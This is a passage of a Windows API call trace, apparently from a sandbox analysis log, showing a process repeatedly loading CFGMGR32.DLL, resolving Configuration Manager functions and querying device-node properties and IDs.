(hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.314] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.314] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.314] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.314] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.315] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.316] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.316] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.316] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.316] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.316] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.316] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.317] malloc (_Size=0x18) returned 0x20abc281ec0 [0225.317] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0225.317] malloc (_Size=0x48) returned 0x20abc27cf80 [0225.317] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x42110fce, dwHighDateTime=0x1d9eb0c)) [0225.318] SetEvent (hEvent=0x248) returned 1 [0225.323] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.323] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.326] malloc (_Size=0x18) returned 0x20abc281dc0 [0225.327] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0225.333] malloc (_Size=0x48) returned 0x20abc27cf80 [0225.333] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4213c5b0, dwHighDateTime=0x1d9eb0c)) [0225.334] SetEvent (hEvent=0x248) returned 1 [0225.337] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.337] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.340] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.340] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.340] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.340] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.340] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.340] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.341] malloc (_Size=0x18) returned 0x20abc2819e0 [0225.341] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x9, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0225.341] malloc (_Size=0x48) returned 0x20abc27cf80 [0225.341] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4213c5b0, dwHighDateTime=0x1d9eb0c)) [0225.341] SetEvent (hEvent=0x248) returned 1 [0225.346] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.346] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.348] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.348] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.348] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.348] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.348] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.348] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.348] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.349] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.349] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.349] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.349] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.349] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.349] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.349] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.349] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.350] malloc (_Size=0x18) returned 0x20abc2819a0 [0225.350] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x9, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0225.350] malloc (_Size=0x48) returned 0x20abc27cf80 [0225.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4215d54e, dwHighDateTime=0x1d9eb0c)) [0225.351] SetEvent (hEvent=0x248) returned 1 [0225.397] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.397] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.399] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.399] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.399] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.399] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.399] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.399] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.399] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.400] malloc (_Size=0x18) returned 0x20abc282040 [0225.401] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0225.401] malloc (_Size=0x48) returned 0x20abc27cf80 [0225.401] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x421cf9e9, dwHighDateTime=0x1d9eb0c)) [0225.401] SetEvent (hEvent=0x248) returned 1 [0225.408] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.408] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.410] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.410] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.410] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.410] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.410] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.410] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.410] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.410] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.411] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.411] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.411] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.411] malloc (_Size=0x18) returned 0x20abc281a80 [0225.411] CM_Get_Device_IDA (in: dnDevInst=0xa, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0A06\\CPU_HOTPLUG_RESOURCES") returned 0x0 [0225.412] malloc (_Size=0x48) returned 0x20abc27cb20 [0225.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x421f5def, dwHighDateTime=0x1d9eb0c)) [0225.412] SetEvent (hEvent=0x248) returned 1 [0225.416] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.416] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.416] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.417] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.417] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.417] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.417] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.417] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.417] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.417] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.418] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.418] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.418] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.418] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.418] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.418] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.418] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.419] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.419] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.419] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.419] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.419] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.419] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.419] malloc (_Size=0x18) returned 0x20abc281c60 [0225.420] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0225.420] malloc (_Size=0x5a) returned 0x20abc2807d0 [0225.420] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8) returned 0x0 [0225.421] free (_Block=0x20abc2807d0) [0225.421] malloc (_Size=0x48) returned 0x20abc27cf80 [0225.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x421f5def, dwHighDateTime=0x1d9eb0c)) [0225.421] SetEvent (hEvent=0x248) returned 1 [0225.445] malloc (_Size=0x18) returned 0x20abc281a00 [0225.445] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0225.445] free (_Block=0x20abc281a00) [0225.445] malloc (_Size=0x18) returned 0x20abc281f20 [0225.445] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0225.445] free (_Block=0x20abc281f20) [0225.445] malloc (_Size=0x18) returned 0x20abc281ba0 [0225.446] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0225.446] free (_Block=0x20abc281ba0) [0225.446] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d270 [0225.446] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0225.446] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0225.446] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0225.446] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79bb0 [0225.446] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0225.446] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0225.446] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0225.446] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0225.447] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba939f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0225.447] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba939f8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0225.447] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93a00, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0225.448] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79bb0) returned 1 [0225.448] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d270) returned 1 [0225.449] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.450] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 